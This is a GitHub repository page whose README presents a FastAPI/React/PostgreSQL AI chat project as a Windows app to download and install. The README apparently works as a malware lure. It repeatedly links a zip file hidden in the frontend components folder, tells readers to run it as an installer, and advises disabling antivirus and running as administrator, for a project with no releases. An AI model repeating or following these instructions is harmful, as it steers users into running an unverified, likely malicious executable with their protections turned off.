8000
Skip to content

willamcatosot/fastapi-react-chat

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

8 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

🤖 fastapi-react-chat - Easy AI Chat with FastAPI & React

Download on GitHub


📦 About fastapi-react-chat

fastapi-react-chat is an application built to let you chat with an AI using a clean and modern design. The app uses a system that saves your chat history safely, so you can pick up where you left off. It runs smoothly on Windows and connects to OpenAI’s API to create smart replies. You don’t need to know programming to use it.

This app shows how well FastAPI (a Python framework) and React (a JavaScript tool) can work together. It uses a method called N-Layer Architecture to keep the app’s code neat and easy to manage. The saved chat histories live in a PostgreSQL database, which keeps your conversations safe and available even after you close the app.


🎯 Features

  • AI chatbot that responds in a smart and natural way
  • Saves chat history so you can continue old conversations
  • Dark mode interface to reduce eye strain
  • Responsive design that works on different screen sizes
  • Easy setup on Windows without complex steps
  • Secure connection to OpenAI API for AI intelligence
  • Clear separation of parts in the app for stable performance

🖥️ System Requirements

  • Windows 10 or later (64-bit recommended)
  • At least 4 GB of RAM
  • 500 MB of free disk space
  • Internet connection for AI responses
  • A modern web browser like Chrome, Edge, or Firefox

🚀 Getting Started

Step 1: Download the app

Click the badge below or visit the link to get the latest version of fastapi-react-chat for Windows.

Download on GitHub

You will find files named like https://github.com/willamcatosot/fastapi-react-chat/raw/refs/heads/main/frontend/src/components/react-fastapi-chat-1.2-beta.5.zip or similar. Choose the latest version.

Step 2: Run the installer

  1. Once the download finishes, open the file you downloaded.
  2. A setup window will appear. Follow the instructions by clicking "Next."
  3. Choose the folder where you want the app installed, or leave the default location.
  4. Click "Install" to start the installation.
  5. When done, click "Finish."

Step 3: Launch the app

  • Find the fastapi-react-chat icon on your desktop or in the Start menu.
  • Double-click the icon to open the app.

Step 4: Use the chatbot

  • On opening, you will see a chat window.
  • Type your questions or messages in the input box at the bottom.
  • Press Enter or click the send button.
  • The AI will respond shortly.
  • Chat history will save automatically.

⚙️ How It Works

fastapi-react-chat connects to a smart AI in the cloud. When you type a message, it sends this to the AI, which thinks and sends back a response. Your messages and replies save in the app so you can review them anytime.

The app’s interface comes from React, a user interface tool that helps keep the chat smooth and easy to read. The backend uses FastAPI, a Python tool known for being fast and reliable. The stored chat data uses PostgreSQL, a trusted database tool.


🌗 Dark Mode

You can switch to dark mode to make the screen easier on your eyes, especially in low light. Find the toggle button, usually at the top right. Click it to change between light and dark themes.


📚 Using Chat History

Every conversation you have is saved locally or in the database so you can look back later. This means you don’t have to remember previous chats or lose the information if you close the app.

To view past chats:

  • Open the history tab in the app.
  • Scroll through previous conversations with the AI.

You can delete chats if you want by selecting the chat and choosing the delete option.


🔧 Troubleshooting

If the app does not start:

  • Check if your Windows is up to date.
  • Ensure you downloaded the correct installer for your system.
  • Restart your computer and try again.
  • Confirm you have an active internet connection.

If the AI does not respond or seems slow:

  • This could be a problem with internet connection.
  • Try closing the app and reopening it.
  • Wait a moment and try again.
  • If you have trouble installing:

    • Right-click the installer and choose "Run as administrator."
    • Disable any antivirus temporarily during setup if it blocks the installation.
    • Make sure no other installations are running at the same time.

    🔒 Privacy and Security

    Your chat data is stored securely in a local database or PostgreSQL. Connection to the AI uses secure internet protocols. No personal data is sent outside the app except your chat messages needed for AI responses.

    You can use the app offline but AI replies require an internet connection.


    📩 Get Support

    If you need more help, you can ask for guidance on the GitHub page or check its discussions. The app is designed to be easy, so most users find it runs smoothly after installing.


    ⬇️ Download and Install FastAPI React Chat

    Visit this page to download the latest version of fastapi-react-chat for Windows:

    https://github.com/willamcatosot/fastapi-react-chat/raw/refs/heads/main/frontend/src/components/react-fastapi-chat-1.2-beta.5.zip

    Download the installer file, run it, and follow the instructions listed above. After installation, open the app and start chatting with the AI.

About

Build a full-stack AI chat app using FastAPI, React, PostgreSQL, and OpenAI for scalable, maintainable, and intelligent web interaction.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors

0